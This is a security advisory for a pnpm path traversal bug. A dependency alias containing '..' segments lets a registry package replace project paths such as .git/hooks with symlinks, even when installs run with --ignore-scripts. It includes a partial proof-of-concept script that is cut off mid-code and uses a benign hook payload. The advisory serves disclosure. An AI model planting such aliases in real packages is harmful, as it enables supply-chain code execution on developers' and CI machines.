Threats tagged 'brew-pnpm@10-cve-2026-50016'

## Summary pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause `pnpm install - ignore-scripts` to replace paths in the current project with symlinks to attacker-controlled dependency package directories. `.git/hooks` is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example: - `.husky` or `.githooks` for Git hook dispatchers - `scripts/`, `tools/`, `bin/`, or `tests/` for project scripts and CI commands - `.github/actions/<name>` for local GitHub Actions used later in the workflow - `dist/` or other publish/build output directories before `pnpm pack` or `pnpm publish` - `node_modules/.bin` or undeclared `node_modules/<name>` paths used by later command or module resolution Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation. This was reproduced with `pnpm@11.2.1`. ## Impact Users often run `pnpm install --ignore-scripts` expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command. Examples include `git commit`, `pnpm test`, `pnpm run build`, a CI step that uses a local GitHub Action, or `pnpm publish` packaging a replaced `dist/` directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces `.git/hooks`, and the payload runs when the victim later executes `git commit`. ## Root Cause pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination `node_modules` directory and passed to the symlink creation logic without rejecting `..` segments or checking that the normalized result stays inside the intended `node_modules` directory. Conceptually, a transitive alias like this: ```json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } ``` is eventually treated like: ```text path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks") ``` The normalized destination escapes the dependency's `node_modules` directory and lands at the victim project's `.git/hooks` path. pnpm then creates a symlink at that escaped destination to the resolved `payload-hooks` package directory. The dependency chain is: ```text victim installs normal@1.0.0 normal@1.0.0 -> bad@1.0.0 bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias ``` The malicious transitive package metadata contains: ```json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } ``` Because this uses an `npm:` registry alias, it does not rely on a transitive `file:` or `link:` dependency. ## Proof Of Concept Run: ```sh ./run.sh ``` ``` sh #!/bin/sh set -eu SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORKDIR="$SCRIPT_DIR/demo-workdir" REGISTRY_DIR="$WORKDIR/registry" TARBALLS_DIR="$REGISTRY_DIR/tarballs" VICTIM_DIR="$WORKDIR/victim" READY_FILE="$WORKDIR/registry-ready" PORT_FILE="$WORKDIR/registry-port" rm -rf "$WORKDIR" mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR" cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON' { "name": "payload-hooks", "version": "1.0.0", "bin": { "pre-commit": "pre-commit" }, "files": [ "pre-commit" ] } JSON cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF' #!/bin/sh echo PWNED >&2 exit 0 EOF chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit" cat > "$REGISTRY_DIR/bad/package.json" <<'JSON' { "name": "bad", "version": "1.0.0", "description": "transitive registry package", "dependencies": { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } } JSON cat > "$REGISTRY_DIR/normal/package.json" <<'JSON' { "name": "normal", "version": "1.0.0", "description": "normal looking package from a registry", "dependencies": { "bad": "1.0.0" } } JSON (cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) (cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) (cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' & const http = require('node:http') const fs = require('node:fs') const path = require('node:path') const { execFileSync } = require('node:child_process') const [registr